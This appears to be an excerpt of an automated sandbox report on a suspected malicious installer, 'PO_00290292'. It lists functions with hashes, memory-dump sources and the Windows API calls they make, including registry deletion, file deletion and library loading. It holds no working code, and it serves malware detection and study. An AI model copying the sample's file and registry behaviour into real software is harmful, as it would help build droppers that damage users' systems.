Opcode Fuzzy Hash: 6748365695d0b60958ae2de605dce3010a9a46cb287cd8314348fa6e45a6e7ef
Instruction Fuzzy Hash: 65A13471D00229CBDF28CFA8C844AADBBB1FF44305F15816AD956BB281D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406E7C Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b96a49f958b7a8d2aa4cc917083ea926a28b83a61870a924df7985f049b653
Instruction ID: dd225a6952a4a1885b566de7f95e3528e0c965b1b64db9b9769652e5c735704b
Opcode Fuzzy Hash: e6b96a49f958b7a8d2aa4cc917083ea926a28b83a61870a924df7985f049b653
Instruction Fuzzy Hash: 3D913370D04229CBDF28CFA8C844BADBBB1FF44305F15816AD856BB291C7789A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406B92 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 683f34e5330f3119535e65c3fcc014917b66dea9351a733ad05ad489270f429c
Instruction ID: c728d5504c89e28601c55753f21d2f559f3974f1a6ce44cf054f885a45476dee
Opcode Fuzzy Hash: 683f34e5330f3119535e65c3fcc014917b66dea9351a733ad05ad489270f429c
Instruction Fuzzy Hash: 06813471D04228CFDF24CFA8C844BADBBB1FB44305F25816AD856BB291C7789A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406697 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a646d1c18714c06b63ca95da94aa03745834858b299022791e2b3ebf89425e7d
Instruction ID: 5389f57cfb4a3ea8b0a271fe5c21418892ef356aef38e154ca47b5156c43700c
Opcode Fuzzy Hash: a646d1c18714c06b63ca95da94aa03745834858b299022791e2b3ebf89425e7d
Instruction Fuzzy Hash: 37816831D04229CBDF24CFA8C844BADBBB0FF44305F11816AD956BB281D7785986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE5 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96da27bd456154c1aedaa85bcfc68d0a261e277abb4cee4e4020ac7d50c7f0c5
Instruction ID: 7cecadd07089ef5f508d2048bcf4206a214b5fe31ba49bd0cdf53ec9cfb3ce0b
Opcode Fuzzy Hash: 96da27bd456154c1aedaa85bcfc68d0a261e277abb4cee4e4020ac7d50c7f0c5
Instruction Fuzzy Hash: 35712175D04228CBDF28CFA8C844BADBBB1FB44305F15816AD806BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406C03 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e3b149f88ae6fd458fdcc74d478f48b2ed7dfe8c3e809ea2d72e9fd2fa3729
Instruction ID: f96eec566abe8136b7696836c8602221009d3abbc3cba5cf828ad5cd02611e0d
Opcode Fuzzy Hash: 29e3b149f88ae6fd458fdcc74d478f48b2ed7dfe8c3e809ea2d72e9fd2fa3729
Instruction Fuzzy Hash: 56713371D04228CBEF28CFA8C844BADBBB1FF44305F15816AD856BB281C7789996DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406B4F Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c673c2534040230f9089defbd7d825788091a80835a4c341425c1e948b069d
Instruction ID: 17f295adf0ba2181094cfffbed918b39bb4908eb68d6975640ddb9889f0749db
Opcode Fuzzy Hash: b9c673c2534040230f9089defbd7d825788091a80835a4c341425c1e948b069d
Instruction Fuzzy Hash: F2714531D04229CBEF28CF98C844BADBBB1FF44305F11816AD816BB291C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004052DD: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 68a78ee8fa017585f8b54af057a81de7910946204d32f94ef4e16293bebe516e
Instruction ID: 135227bab5bbd0cb957ad13063370cb04025123e1843093ab7a3381522db9c00
Opcode Fuzzy Hash: 68a78ee8fa017585f8b54af057a81de7910946204d32f94ef4e16293bebe516e
Instruction Fuzzy Hash: 7D21A731900219EBCF20AFA5CE48A9E7E71BF00354F20427BF511B51E1DBBD8A81DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 8f0220e1db65b98a9a97dda6677fe8e3d64efce9e8ca8f1893c3e0ec0e4c3eff
Instruction ID: c7ec42ec2a5b8cbcf97019b844e04a4f9c539befeef3331d530b96059407f5ff
Opcode Fuzzy Hash: 8f0220e1db65b98a9a97dda6677fe8e3d64efce9e8ca8f1893c3e0ec0e4c3eff
Instruction Fuzzy Hash: FCF03171A14204EBEB209F65DE8CABF767DEF80354B10843FF505B61D0DAB84D419B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405927 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D2E: GetFileAttributesW.KERNELBASE(?,?,00405933,?,?,00000000,00405B09,?,?,?,?), ref: 00405D33
Part of subcall function 00405D2E: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405D47

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405B09), ref: 00405942
DeleteFileW.KERNELBASE(?,?,?,00000000,00405B09), ref: 0040594A
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405962

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction ID: ecea3d8082f0941e5ee01c5501cf82e541f4c7e763f85e657b920a2cf98d934c
Opcode Fuzzy Hash: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction Fuzzy Hash: 6EE09B72105A91D6D21067349E0CB5F2AD8DF96335F09493EF595F11D0C778880ACA7D

Uniqueness

Uniqueness Score: -1.00%

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f2a8e28ff262e398c83ec6795697b3da2d976eaa4e9bfe855c751e768ecc29ae
Instruction ID: a4ed2935f8c713a64b441f8b02302a8faa8aa65f3841d01997d269d515fb9b23
Opcode Fuzzy Hash: f2a8e28ff262e398c83ec6795697b3da2d976eaa4e9bfe855c751e768ecc29ae
Instruction Fuzzy Hash: 9D119131911205EBDB10CFA0CA489AEB7B4EF44354B20843FE446B72D0D6B85A41DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction ID: d65e0694727b7210e6f7bc09f77efd2c0147e56cffd904cd4a2c980f2ed28b93
Opcode Fuzzy Hash: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction Fuzzy Hash: 3D01D131724210EBEB195B789D04B2A3698E714314F1089BAF855F62F1DA788C128B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040231F Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040233E
RegCloseKey.ADVAPI32(00000000), ref: 00402347

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 2137f07228e7049a48c43a80b617cac71fc03f597c3c39b68645fbf02ee1db44
Instruction ID: b5033fe3495a5d5fbf66e52db86fe43622c16bf705f2fe0f4142c4154f9543e6
Opcode Fuzzy Hash: 2137f07228e7049a48c43a80b617cac71fc03f597c3c39b68645fbf02ee1db44
Instruction Fuzzy Hash: 45F04F32A04110ABEB11BFB59B4EABE726A9B40314F15807BF501B71D5D9FC99025629

Uniqueness

Uniqueness Score: -1.00%

Function 004053B0 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004053C0

Part of subcall function 0040428E: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A0

OleUninitialize.OLE32(00000404,00000000), ref: 0040540C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
